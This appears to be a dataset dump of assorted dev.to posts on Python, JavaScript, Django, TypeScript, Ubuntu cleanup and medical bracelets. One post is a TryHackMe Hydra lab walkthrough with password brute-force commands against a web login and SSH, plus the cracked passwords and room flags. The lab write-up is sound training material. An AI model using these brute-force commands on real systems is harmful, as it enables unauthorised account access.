teleren/devto huggingface dataset:
Python write data to a Google sheet
Tags: python, googlecloud
Published: 2021-05-29 07:16:30

Yesterday we looked at [reading data from a Google sheet](https://daily-dev-tips.com/posts/python-read-data-from-a-google-sheet/).
And today, I want to take it to the next level and add some data to the sheet.

You can work alongside this article by downloading the started code from yesterday on [Reading data from Google Sheets](https://gist.github.com/rebelchris/fef3f79af30a45f6522fc4ac73ed8901).

What we will be building today will look like this.

![Python write data to a Google sheet](https://cdn.hashnode.com/res/hashnode/image/upload/v1622010672961/robreFMPO.gif)

## Writing data to Google sheets with Python

As we are starting with the data from yesterday, we have to make some changes to that code to add to work.

As mentioned yesterday, we set our permissions to be read-only. For this example, we need to change it to `spreadsheets` in general.

```python
# before
SCOPES = ['https://www.googleapis.com/auth/spreadsheets.readonly']
# after
SCOPES = ['https://www.googleapis.com/auth/spreadsheets']
```

> Note: Because we changed this, remove any token.json you might still have locally.

Yesterday we used Google's example sheet for this article; however, we need our own copy.

I copied the one Google had to my own Google sheets so that we can modify it. (Make sure to change the spreadsheet_id)

Next up is that we have to change the part after we get our credentials.
Remove everything that's below the service variable.

Let's start by creating the new data set we would like to enter.

```python
list = [
    [
        'Chris',
        'Male',
        '1. Freshman',
        'FL',
        'Art',
        'Baseball'
    ]
]
resource = {
    "majorDimension": "ROWS",
    "values": list
}
```

I've built this one in two sections, where I created the list of items that can hold multiple data rows. (In this case, only 1)

And a resource set that contains the type of resource Google wants to receive.

After that, we can add our new data set into our Google sheet.

```python
# Call the Sheets API
sheet = service.spreadsheets()
sheet.values().append(
    spreadsheetId=SAMPLE_SPREADSHEET_ID,
    range=SAMPLE_RANGE_NAME,
    valueInputOption='USER_ENTERED',
    body=resource
).execute()

print("Added a new row to your Google sheet")
```

This will call the spreadsheet API and use the `append` function, which will append a new row at the bottom.

Inside, we define the spreadsheet and the range it covers,
as well as the body (our data).

When we now run this, it adds a new row every time!

You can download the entire script from [this GitHub link](https://gist.github.com/rebelchris/bcaff7f9c0a2e9ad37bef948c04dcd07).

### Thank you for reading, and let's connect!

Thank you for reading my blog. Feel free to subscribe to my email newsletter and connect on [Facebook](https://www.facebook.com/DailyDevTipsBlog) or [Twitter](https://twitter.com/DailyDevTips1)
Clean Code with Currying (3 min recap)
Tags: cleancode, javascript
Published: 2021-05-23 12:48:41

---
title: Clean Code with Currying (3 min recap)
published: true
description: 3 min to memorize the concept
tags: #cleanCode #js

---

## Motivation

> In order to improve code readability **currying** technique may be applied.
> 
> By modifying our code with such technique we shall gain cleaner and more readable function names.
> 
> As a result our code-base will became easier to maintain.

## Basic Idea

> There are *multiple* principles where currying technique may be utilized... We will look into one particular example of implementation with *the almighty* [closures](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Closures).
> As we claimed above - utilizing **currying** should improve our code readability, so let's try to modify some imaginary tax calculations function *(function expects two input parameters and provides an output of total calculation)*.
> It's declaration could probably look like this `getPriceWithTax(price, tax)` and the actual function call would look like `getPriceWithTax(50, 10)` \- yeah... its less explicable once we don't see the actual input parameter names...
> 
> We going to apply **currying** technique to improve the readability so our code could become something like `getPriceWithTax10(price)`, `getPriceWithTax5(price)`, `getPriceWithTax20(price)` and etc...
> 
> I believe you got the idea.

## Pseudo Code

```js
	// utilize currying technique
	taxCalculation = (tax)

    // improve core readability
	getPriceWithTax10 = taxCalculation(10)
     
    // enjoy the improved redability
	priceTaxBy10 = getPriceWithTax10(price);
```

## Code Snippet

```js
	const taxCalculation = (tax) => (price) => price + price * tax / 100;

	const price = 100;

	const getPriceWithTax10 = taxCalculation(10);
	const getPriceWithTax5 = taxCalculation(5);
	const getPriceWithTax20 = taxCalculation(20);

	const priceTaxBy10 = getPriceWithTax10(price);
	const priceTaxBy5 = getPriceWithTax5(price);
	const priceTaxBy20 = getPriceWithTax20(price);
    
```

## Example

> Svelte REPL is such a joy to play with... - so I've sketched a clickable example with the code snippet from above
> 
> *(for those who loves clickable stuff)*
> 
> [JS Currying (*Svelte REPL*)](https://svelte.dev/repl/f10cbbcf45d04820af8255c34fd0deb3?version=3.38.2)

## Resources

- [wiki](https://en.wikipedia.org/wiki/Currying)
- [higher order function](https://en.wikipedia.org/wiki/Higher-order_function)
JavaScript Chapter 8 - Creating Number Input Using JavaScript
Tags: javascript, tutorial, beginners
Published: 2021-05-29 07:09:54

Welcome back again, In this JavaScript tutorial, we will discuss how to create an input form that only allows inputting numbers that can be typed into this form. If the user types a letter or other character, it will not work or what is input will not work or what is inputted will not appear on the input form. So the form we are going to create is a form that only accommodates numbers. Henceforth, friends can listen to the tutorial on how to make input only numbers using the following javascript.

## Making Input Only Numbers with Javascript

Sometimes in creating an application or website, we are required to create an input form that only allows inputting numbers. This aims to minimize errors in an application that we make. For how to make number validation using javascript, friends, please pay attention to the following explanation.

Make an html or php file up to your themes. Here I provide a file with number.html where in this file we will validate numbers or make validation just numbers with javascript. First, we will create a form, friends.

![image](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/za7eyhjxr5fqfo8jnnje.png)

Try friends, pay attention to the example syntax for creating a number input form above. First we first create a regular form.

```html
<input type="text" onkeypress="return hanyaAngka(event)">
```

But in this form we give an `onkeypress` event. To make an action when this form is typed or inputted. So when typing occurs in this form, the function is run `only()`.

```html
onkeypress="return hanyaAngka(event)"
```
Also returns the value of this function.
Furthermore, friends, pay attention to the function only().

```javascript
function hanyaAngka(evt) {
    var charCode = (evt.which) ? evt.which : event.keyCode
    if (charCode > 31 && (charCode < 48 || charCode > 57))

    return false;
    return true;
}
```
Here we check if what is inputted is a number, it will return true in the form.

```javascript
if (charCode > 31 && (charCode < 48 || charCode > 57))
```

Now try running it in a browser.

![image](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/u7ymhdbqyyb4va5xdkz9.png)

Only numbers can be input.

### How to make the maximum number of digits entered?

To make the maximum number entered, you just need to add the maxlength attribute to the form element. example.

```html
<input type="text" maxlength="2" onkeypress="return hanyaAngka(event)"/>
```

well, in the example above it means that we only allow 2 digit numbers to be input. Furthermore, you will not be able to type again on the form.

## Conclusion
Okay friends, that's enough for the tutorial, hopefully it's useful for your themes, if you have trouble, you can ask by filling in the comments column.
How to extend User Model in Django
Tags: django, python, database
Published: 2021-05-29 06:46:18

In the previous post, I discussed how you can [create a custom User model](https://dev.to/kritebh/how-to-create-custom-user-model-in-django-53g6) in Django but what if you don't want to create a custom one.

In that case, You can just extend the User model with a OneToOne model relationship.
- We can easily add another field such as Location, Date of Birth etc.

### Create a Django Project 

Setup your Virtual environment and create a Django Project.

Note - Set up code is available at [previous post](https://dev.to/kritebh/how-to-create-custom-user-model-in-django-53g6).

### Extending User Model

Import the User model from "django.contrib.auth.models" and we will create another model which will relate to this User model

```python 
from django.db import models
from django.contrib.auth.models import User
from django.db.models.base import Model
from django.db.models.deletion import CASCADE
# Create your models here.
class ExtendUser(models.Model):
    r = models.OneToOneField(User,on_delete=models.CASCADE)
    date_of_birth = models.DateField(null=True)
    city = models.CharField(max_length=30)
    def __str__(self):
        return self.r.username
```
> Add this model to the admin.py

### Showing Data

Now the question is how we can access this data and show it at the frontend.

It's easy..

In views.py file I have created a single function which will send the data as context.
```python 
def home(request):
    data = request.user
    return render(request,'core/index.html',{'data':data})
```
Now in index.html you can access this data

```html
<p>{{data.username}}</p>
<p>{{data.extenduser.city}}</p>
<p>{{data.extenduser.date_of_birth}}</p>
```
### Cons 

- By this method, you can't change the primary login method which is username. 

Here is the GitHub repo for the code 

{% github kritebh/extend-user-model-django no-readme %}
The Invisible Disability And The Medical Bracelets
Published: 2021-05-29 06:21:51

Disabilities usually fall into two categories, though there should be a third. These categories are visible disabilities and invisible disabilities for which <a href="https://divotiusa.com/bracelets/medical-alert-bracelets/">medical ID bracelets</a> can be lifesaving equipment.

An invisible disability is one that is not immediately obvious to the observer. Autism is a prime example, of vision or hearing impairment. The person looks healthy enough but still has difficulty functioning normally. There are so many types of invisible” disabilities! Mental illness is certainly a disability and has a major impact on people’s lives. That is a good reason to be kind and understanding of people. -We don’t know what they are struggling with.

There should also be a category for semi-visible disabilities - disabilities that are generally invisible but can have highly visible symptoms, such as epilepsy, anaphylactic allergies, Tourettes, and other things like that. People suffering from a semi-visible disability are also recommended to wear <a href="https://divotiusa.com/bracelets/medical-alert-bracelets/">medical alert bracelets</a>.

Some disabilities are kind of on a line - like deafness and blindness are technically invisible, but accommodating devices are visible at least some of the time.

You may not be aware that, say, your grocery clerk is hard of hearing unless you see them wearing a cochlear implant, and if they are not wearing one and not using sign language, then you might assume they have the same hearing capacity that you do.
TryHackMe Hydra
Tags: cybersecurity, security
Published: 2021-05-29 06:05:55

# TryHackMe [Hydra](https://www.tryhackme.com/room/hydra)
### References
* DarkSec. (2020). TryHackMe Hydra Official Walkthrough [YouTube Video]. In YouTube. https://youtu.be/8fs_7bm88GY

## Use Hydra to brute force Molly's web password. What is flag 1?
* Brute force Molly's password with `hydra`:
```bash
$ hydra -l molly -P rockyou.txt <MACHINE_IP> http-post-form "/login:username=^USER^&password=^PASS^:Your username or password is incorrect."
[80][http-post-form] host: <MACHINE_IP>   login: molly   password: sunshine
1 of 1 target successfully completed, 1 valid password found
```
* Login to the webpage with the credentials and obtain the flag:
```html
<div class="jumbotron text-center">
	<h1>THM{2673a7dd116de68e85c48ec0b1f2612e}</h1>
</div>
```

**Flag 1**: `THM{2673a7dd116de68e85c48ec0b1f2612e}`
## Use Hydra to brute force Molly's SSH password. What is flag 2?
* Use Hydra's SSH along with the `rockyou.txt` password list to brute force Molly's server password:
```bash
$ hydra -l molly -P rockyou.txt <MACHINE_IP> ssh
[22][ssh] host: <MACHINE_IP>   login: molly   password: butterfly
1 of 1 target successfully completed, 1 valid password found
```
* Log-in to Molly's server using her SSH credentials:
```
$  ssh molly@<MACHINE_IP>
molly@<MACHINE_IP>'s password: butterfly
molly@ip-10-10-66-163:~$ ls
flag2.txt
molly@ip-10-10-66-163:~$ cat flag2.txt 
THM{c8eeb0468febbadea859baeb33b2541b}
```

**Flag 2**: `THM{c8eeb0468febbadea859baeb33b2541b}`
Implement custom '.pick()' for objects
Tags: javascript, webdev, codenewbie, beginners
Published: 2021-05-29 05:59:59

```js
const pick = (obj = {}, keys = []) => {
  const result = {};

  for (const key in obj) {
    if (keys.includes(key)) {
      result[key] = obj[key];
    }
  }
  return result;
};

const obj = {
  name: "Mehul",
  age: 27,
  email: "codedrops.tech@gmail.com",
  website: "codedrops.tech",
};

const keysToInclude = ["name", "age"];

console.log(pick(obj, keysToInclude)); // { name: 'Mehul', age: 27 }
```

---

**Thanks for reading 💙**  
Follow **@codedrops.tech** for more.  
[Instagram](https://www.instagram.com/codedrops.tech/) ● [Twitter](https://twitter.com/codedrops_tech) ● [Facebook](https://www.facebook.com/codedrops.tech/)

Micro-Learning ● Web Development ● Javascript ● MERN stack  
**[codedrops.tech](https://www.codedrops.tech/)**

---
**Projects**  
[File Ops](https://marketplace.visualstudio.com/items?itemName=mehullakhanpal.file-ops) - A VS Code extension to easily tag/alias files & quick switch between files
Day 3: Intro to Conditional Statements

Tags: javascript
Published: 2021-05-29 05:52:12

     'use strict';

      process.stdin.resume();
      process.stdin.setEncoding('utf-8');

      let inputString = '';
      let currentLine = 0;

      process.stdin.on('data', function(inputStdin) {
     inputString += inputStdin;
     });

     process.stdin.on('end', function() {
     inputString = inputString.split('\n');

     main();
    });

     function readLine() {
     return inputString[currentLine++];
     }

      function main() {
      const N = parseInt(readLine().trim(), 10);
      if((N % 2 != 0)  || ((N > 5 && N <21) && N % 2 == 0)){
        console.log("Weird")
       } else {
        console.log("Not Weird")
      }
     
     }
THE WAY JAVA WORKS
Tags: java, programming, codenewbie
Published: 2021-05-29 05:44:13

>
### *If you want your computer to run the way you want, you have to speak the language of God. Programmers refer to it as a programming language.*




The thing our computer understands is **0 and 1's [Machine Code].** like 0101010101010... this may be some study material file stored somewhere.

We are not machines so we don't write or understand 0 and 1's, The thing we write is also known as **source code [That human like us who are lazy and procrastinate a lot can understand ].**

This Source code is only understood by other humans who know a programming language or a **compiler[A tool that converts your[Source Code] to [Machine Code] ]**

So, the java analogy is that we write a code once and it should work on all the devices.*

For eg:  I have some study material and my friend asking for it as he is a studious student.
First, I will secure my study material and then share it with my friend, but if my friend wants to access it he should have a VLC media player installed.

The code we write in the java programming language is called **java source code** and the java compiler compiles it to **byte code** and if someone wants to access that code he should have installed **JVM[Java Virtual Machine]** in his device.

![image.png](https://cdn.hashnode.com/res/hashnode/image/upload/v1622263270729/gwgETa6RY.png)



- 

Twitter

https://twitter.com/NewGenDeveloper
How to clean up disk space on Ubuntu server
Tags: ubuntu, linux, devops
Published: 2021-05-29 05:44:00

If you are running your own cloud instances and use them for development purposes, their capacities would probably be limited and sometimes you might notice that the disk space is too low.

TL;DR

## Remove unnecessary system packages and package caches

```bash
sudo apt-get --purge autoremove
sudo apt-get autoclean
sudo apt-get clean
```

## Remove system log except for the last 3 days

Check it first:

```bash
journalctl --disk-usage
```

```bash
sudo journalctl --vacuum-time=3d
```

Actually it grows day by day, so you can create a cron script to clean up journal logs once a month for example, or can configure it to use limited amount of disk space by setting `SystemMaxUse=50M` in `/etc/systemd/journald.conf`. Then reload conf:

```bash
sudo systemctl restart systemd-journald
```

## Clean up snap

Check it first:

```bash
du -h /var/lib/snapd/snaps
```

This is a bash script.

```bash
#!/bin/bash
# Removes old revisions of snaps
# CLOSE ALL SNAPS BEFORE RUNNING THIS
set -eu
snap list --all | awk '/disabled/{print $1, $3}' |
    while read snapname revision; do
        snap remove "$snapname" --revision="$revision"
    done
```

Please add more in the comment section if you have another ones.

Happy coding! :)
Classical inheritance vs Prototype delegation in JavaScript
Tags: javascript, codenewbie, programming, webdev
Published: 2021-05-29 05:12:06


In my previous posts, I have covered Class and Prototype in JavaScript and learned its behavior and working. In this post, we're going to do an ultimate faceoff😂 Kidding. Just a simple post about Prototype vs Class Delegation in JavaScript. 

---

### Prototype

The prototype is a design pattern followed in JavaScript with objects inherits(references) the properties of another object. Almost all the objects have this prototype/prototype chain in them. 

![image.png](https://cdn.hashnode.com/res/hashnode/image/upload/v1622262735668/lS8WtHbMG.png?auto=compress)

In the above example, we created a new object called `media`, and it has its own property `greet()` and also have inherited the native properties of an object under the key `__proto__`. This is called a prototype chain or objects linked to other objects. 

![image1.png](https://cdn.hashnode.com/res/hashnode/image/upload/v1622263164429/GYWbcrwnT.png?auto=compress)

Now let's extend a new object `sociaMedia` from this `media` to visualize this chain. 
As you could see the newly created object `socialMedia` has `__proto__` which references the media object's property, and this media object has a `__proto__` which refers to the main object properties. 

![image2.png](https://cdn.hashnode.com/res/hashnode/image/upload/v1622263440450/W7LS2BO04.png?auto=compress)

### Class

With the instruction of ES6 class, a lot of us had confused, what's the difference between class inheritance and prototype delegation (property term to define inheritance in JavaScript). 

```js
class Media {
    constructor() {
    }
    greet(name) {
            return `Welcome to ${name}`
    }
}
const media = new Media(); 
media.greet('RAHULISM'); // Welcome to RAHULISM
```

Class is just sugar for using the prototype. Under the skin, it used the prototype to achieve the concept of inheritance. Let's try the same class `Media` and see what it has internally. 

As you could see internally Media has a __proto__ for its method and within that, it references the main Object properties. 

![image4.png](https://cdn.hashnode.com/res/hashnode/image/upload/v1622264123934/Ih1OuCy29.png?auto=compress)

Now if we extend this `Media()` and create a new class then that new class will have the same prototype chain as we saw above. 

### Class inheritance


![image5.png](https://cdn.hashnode.com/res/hashnode/image/upload/v1622264507222/FgYzdjRyd.png?auto=compress)

Though they seem to be similar, there is a minor difference, between the Class-based approach and the prototype-based approach. 


---

Deep Dive? 

- [Why prototypal inheritance matter? by Aadit Shah](https://aaditmshah.github.io/why-prototypal-inheritance-matters/)

---

Thanks For Reading😊
A safer alternative to 'any' in TypeScript
Tags: typescript, any, record, unknown
Published: 2021-05-29 04:28:45

We've all been there. For some reason we are not really sure what type of object to expect from an API endpoint. Maybe the API has not been defined yet, or whatever. So what do we do?

You've probably seen code like this, because someone knew it was going to be a list of things.
```typescript
getData(): Observable<any[]> {
  // return this.http.get<any[]>(API_URL); // TODO: Integrate with api
  return of([]);
}
```
But we can do better than that.

You might not know what type of object to expect, but you probably have a vague idea. Maybe it is going to be a list of objects with keys (strings) which you don't know yet.

In that case you want to do something like this:
```typescript
getData(): Observable<Record<string, unknown>[]> {
  // return this.http.get<Record<string, unknown>[]>(API_URL); // TODO: Integrate with api
  return of([]);
}
```

### The `Record<Keys, Type>` type
Constructs an object type whose property keys are `Keys` and whose property values are `Type`. 
For example, the object:
```typescript
type SkinfoldSite = 'biceps' | 'triceps' | 'subscapular' | 'suprailiac';

type SkinfoldThickness = Record<SkinfoldSite, number>;

const skinfoldThickness: SkinfoldThickness = {
  biceps: 4.41,
  triceps: 8.63,
  subscapular: 13.29,
  suprailiac: 10.14,
};
```

### The `unknown` type
This is similar to the `any` type, but is safer because it’s not legal to do anything with an `unknown` value. You have to check its type first.
For example:
```typescript
let unknownValue: unknown;
unknownValue = 10;
unknownValue = 'height';


if (typeof unknownValue == 'string') {
  const unknownKey = unknownValue.toUpperCase();
  // Do something with unknownKey 
} else if (typeof unknownValue == 'number') {
  // Do something else
}
```
With `unknown` if you do not check the type, the linter will show a type error, because you are trying to use a method in an object whose type you don't know for sure, which can cause errors in execution time.

In conclusion, it's always a good idea to type your objects correctly, however when not possible, a better alternative is to  always go for safer options. 

[TypeScript: Documentation - Record<Keys,Type>
](https://www.typescriptlang.org/docs/handbook/utility-types.html#recordkeystype)
[TypeScript: Documentation - unknown](https://www.typescriptlang.org/docs/handbook/2/functions.html#unknown)